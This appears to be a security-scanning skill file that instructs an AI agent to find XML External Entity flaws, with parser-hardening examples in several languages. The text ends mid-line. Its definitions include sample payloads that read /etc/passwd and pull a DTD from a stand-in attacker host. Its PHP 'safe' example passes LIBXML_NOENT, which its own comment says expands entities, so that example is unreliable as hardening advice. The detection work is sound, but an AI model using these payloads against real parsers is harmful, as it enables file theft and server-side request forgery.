$npx -y skills add utkusen/sast-skills --skill sast-xxeDetect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results)
| 1 | # XML External Entity (XXE) Detection |
| 2 | |
| 3 | You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find XML parsing sites where external entities are not safely disabled), **batched verify** (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and **merge** (consolidate batch results into one report). |
| 4 | |
| 5 | **Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't. |
| 6 | |
| 7 | --- |
| 8 | |
| 9 | ## What is XXE |
| 10 | |
| 11 | XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands. |
| 12 | |
| 13 | The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.* |
| 14 | |
| 15 | ### What XXE IS |
| 16 | |
| 17 | - XML parsed with external entity resolution **enabled by default** and no explicit hardening applied |
| 18 | - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` |
| 19 | - DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) |
| 20 | - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;` |
| 21 | - XInclude injection when XInclude processing is enabled |
| 22 | - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services |
| 23 | - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server) |
| 24 | |
| 25 | ### What XXE is NOT |
| 26 | |
| 27 | Do not flag these as XXE: |
| 28 | |
| 29 | - **XSS via XML**: XML data rendered as HTML without escaping — that's XSS |
| 30 | - **SSRF via non-XML**: HTTP requests triggered by other mechanisms — that's SSRF |
| 31 | - **XML parsing of fully server-controlled data**: Config files, bundled resources, migration scripts with no user influence — not exploitable |
| 32 | - **Safe parsers**: Libraries that disable external entities by default and provide no way to re-enable them (e.g. `defusedxml` in Python, `nokogiri` with default settings in Ruby for untrusted input) |
| 33 | |
| 34 | ### Patterns That Prevent XXE |
| 35 | |
| 36 | When you see these patterns, the parser is likely **not vulnerable**: |
| 37 | |
| 38 | **1. Disabling DTD / external entities (Java DOM)** |
| 39 | ```java |
| 40 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); |
| 41 | dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
| 42 | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
| 43 | dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
| 44 | dbf.setXIncludeAware(false); |
| 45 | dbf.setExpandEntityReferences(false); |
| 46 | ``` |
| 47 | |
| 48 | **2. Disabling external entities (Java SAX)** |
| 49 | ```java |
| 50 | SAXParserFactory spf = SAXParserFactory.newInstance(); |
| 51 | spf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
| 52 | spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
| 53 | spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
| 54 | ``` |
| 55 | |
| 56 | **3. Disabling external entities (Java StAX / XMLInputFactory)** |
| 57 | ```java |
| 58 | XMLInputFactory xif = XMLInputFactory.newInstance(); |
| 59 | xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); |
| 60 | xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); |
| 61 | ``` |
| 62 | |
| 63 | **4. Python — defusedxml (always safe)** |
| 64 | ```python |
| 65 | import defusedxml.ElementTree as ET |
| 66 | tree = ET.parse(source) # external entities, DTD, entity expansion all blocked |
| 67 | ``` |
| 68 | |
| 69 | **5. Python — lxml with resolve_entities=False** |
| 70 | ```python |
| 71 | from lxml import etree |
| 72 | parser = etree.XMLParser(resolve_entities=False, no_network=True) |
| 73 | tree = etree.parse(source, parser) |
| 74 | ``` |
| 75 | |
| 76 | **6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag** |
| 77 | ```php |
| 78 | libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading |
| 79 | $doc = new DOMDocument(); |
| 80 | $doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network |
| 81 | // Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them |
| 82 | ``` |
| 83 | |
| 84 | **7. .NET — XmlReaderSettings with DtdProcessing.Prohibit** |
| 85 | ```csharp |
| 86 | XmlReaderSettings settings = new XmlReaderSettings(); |
| 87 | settings.DtdProcessing = DtdProcessing.Prohibit; |
| 88 | settings.XmlResolver = null; |
| 89 | XmlReader reader = XmlReader.Create(stream, settings); |
| 90 | ``` |
| 91 | |
| 92 | **8. Node.js — xml2js (safe by d |